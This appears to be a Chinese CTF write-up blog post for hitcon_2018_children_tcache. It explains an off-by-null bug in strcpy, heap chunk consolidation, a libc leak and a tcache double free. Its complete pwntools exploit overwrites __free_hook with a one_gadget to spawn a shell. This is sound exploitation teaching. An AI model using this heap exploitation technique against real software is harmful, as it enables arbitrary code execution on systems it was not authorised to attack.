hitcon_2018_children_tcache

D0wnBe@t Lv4

前言

off_by_null``Glibc2.27``Double Free

第一次遇到off_by_null,关键函数是strcpy

该题目要有较强的分析能力,时刻明白chunk被分配给谁了!!!!

分析

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 add()
{
int i; // [rsp+Ch] [rbp-2034h]
char *dest; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char s[8216]; // [rsp+20h] [rbp-2020h] BYREF
unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(s, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{ // 从0开始循环+1,有空闲的就用
if ( i > 9 )
{
puts(":(");
return __readfsqword(0x28u) ^ v5;
}
if ( !heaplist[i] )
break;
}
printf("Size:");
size = input();
if ( size > 0x2000 )
exit(-2);
dest = malloc(size);
if ( !dest )
exit(-1);
printf("Data:");
my_read(s, size);
strcpy(dest, s); // off_by_null
heaplist[i] = dest;
sizelist[i] = size;
return __readfsqword(0x28u) ^ v5;
}

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_E4B()
{
__int64 v0; // rax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

printf("Index:");
v2 = input();
if ( v2 > 9 )
exit(-3);
v0 = *(&heaplist + v2);
if ( v0 )
LODWORD(v0) = puts(*(&heaplist + v2));
return v0;
}

free

  • user data全部覆盖为0xDA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int delete()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

printf("Index:");
v1 = input();
if ( v1 > 9 )
exit(-3);
if ( heaplist[v1] )
{
memset(heaplist[v1], 0xDA, sizelist[v1]);
free(heaplist[v1]);
heaplist[v1] = 0LL;
sizelist[v1] = 0LL;
}
return puts(":)");
}

漏洞分析

  • strcpy有off_by_null,它会在复制完之后的字符串加上\x00,假设我们malloc(0x68)并且将0x68填充完,那么多余的\x00就会覆盖到下一个chunk的size
1
2
3
4
5
char *strcpy(char *dest, const char *src) {
char *start = dest; // 保存起始位置,方便返回
while ((*dest++ = *src++) != '\0'); // 逐字符复制直到遇到 `\0`
return start; // 返回目标字符串的指针
}
  • add函数内部有着一层循环,只要heaplist[i]=0就会拿来接收malloc的指针
  • 这里的free将会填充user_data为0xda,普通的unsorted bin arrack无法使用,但是我们可以利用off_by_null去修改
  • 于是我们可以先malloc两个chunk,第一个malloc(0x420)为了之后free进入unsorted bin,然后第二个malloc(0xn8),通过add的漏洞和off_by_null我们可以持续的修改chunk1(从0开始计数)的下一个chunk的prev_size,然后可以使得free chunk合并,然后就是简单的double free

gdb详解

改prev_size=0

1
2
3
4
5
6
7
8
9
10
11
add(0x420,b'0')
add(0x68,b'1')
add(0x4f0,b'2') # 必须是0x4f0
add(0x10,b'3')
free(0)
free(1)


for i in range(9): # 单字节修改prev_size
add(0x68-i,b'a'*(0x68-i))
free(0)
  • 在for循环中,我们每次malloc的其实都是tcache中的chunk,也就是chunk1,但是程序是将它给了heaplist[0],所以free[0]只会将heaplist[0]也就是chunk0的user_data覆盖为0xDA,而不影响chunk1
  • 解释一下for循环中的
1
2
3
i=0时,填充0x68,溢出\x00填充chunk2的size末字节,即size=0x500
i=1时,填充0x67,修改prev_size末字节为\x00,相当于b'a'*0x67+b'\x00'
....
  • 效果:

for循环之前

for循环之后

合并free chunk+leak_libc

1
2
3
4
5
6
7
8
9
add(0x68,cyclic(0x60)+p64(0x4a0))
free(2)
#bug()
add(0x420)
show(0)
main_arena = u64(p.recvuntil(b'\x0a')[:-1]+b'\x00\x00') - 0x10
malloc_hook = main_arena - 0x60
libc.address = malloc_hook - libc.sym['__malloc_hook']
lg("libc_address: ",libc.address)
  • 再次add还是修改chunk1,此时是为了修改prev_size,导致free(2)的时候free chunk合并,下面add(0x420)分理出chunk1,然后show(0)就会得到main_arena附近的值,但是unsorted bin的fd和bk不应该是在free状态下才有的吗?🤨我们查看此时堆结构:

  • 此时的chunk0确实没有fd和bk,而出chunk1具有fd和bk指针,show(1)的话就获得,但为什么是show(0)呢?
  • 仔细分析一下,问题还是出现在add函数里面😢:
1
2
3
4
5
6
7
该部分开头的add是将chunk1对应的指针给到heaolist[0]
---> heaplist[0] = chunk1
接着free(2),heaplist[2]=0
再次的add(0x420),由于heaplist[0]!=0,所以此时是将分割的chunk给到heaplist[1]
---> heaplist[1] == 分割的chunk(chunk0)
show(0),即show(heaplist[0]->chunk1)
将chunk1的user_data部分输出出来

double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
one = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
onegadget = libc.address + one[2]

add(0x68,cyclic(0x67))
free(0)
free(2)

#bug()
add(0x60,p64(libc.sym['__free_hook']))
add(0x60)
add(0x60,p64(onegadget))

free(1)
p.interactive()
  • 由于该版本的Glibc2.27没有double free的检查,直接改就行
  • 对两个free解释,接着上面的说:
1
2
3
4
5
此时add,是将分割出的chun1给到heaplist[2]
---> heaplist[2] = chunk1
free(0) 相当于 free(heaplist[0]->chunk1)
free(2) 相当于 free(heaplist[2]->chunk1)
造成了double free

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
#libc = "/home/pwn/Desktop/buuctf/libc/64bits/libc-2.23.so" # ubuntu16
#libc = "/home/pwn/Desktop/buuctf/libc/64bits/libc-2.27.so" # ubuntu18
libc = "/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6"

p = process(file)
#p = remote("node5.buuoj.cn",26742)
elf = ELF(file)
libc = ELF(libc)
#p = remote("", 23583)

def choice(idx):
sla("Your choice: ",str(idx))

def add(size,data='a'):
choice(1)
sla("Size:",str(size))
sa("Data:",data)

def show(idx):
choice(2)
sla("Index:",str(idx))

def free(idx):
choice(3)
sla("Index:",str(idx))

# tcache 有off_ny_one漏洞,可申请10个chunk
add(0x420,b'0')
add(0x68,b'1')
add(0x4f0,b'2')
add(0x10,b'3')
free(0)
free(1)


for i in range(9):
add(0x68-i,b'a'*(0x68-i))
free(0)
bug()
add(0x68,cyclic(0x60)+p64(0x4a0))
free(2)
#bug()
add(0x420)
show(0)
main_arena = u64(p.recvuntil(b'\x0a')[:-1]+b'\x00\x00') - 0x10
malloc_hook = main_arena - 0x60
libc.address = malloc_hook - libc.sym['__malloc_hook']
lg("libc_address: ",libc.address)

one = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
onegadget = libc.address + one[2]

add(0x68,cyclic(0x67))
free(0)
free(2)

#bug()
add(0x60,p64(libc.sym['__free_hook']))
add(0x60)
add(0x60,p64(onegadget))

free(1)
p.interactive()
  • 标题: hitcon_2018_children_tcache
  • 作者: D0wnBe@t
  • 创建于 : 2024-11-09 15:06:10
  • 更新于 : 2024-11-13 20:31:49
  • 链接: http://downbeat.top/2024/11/09/hitcon-2018-children-tcache/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论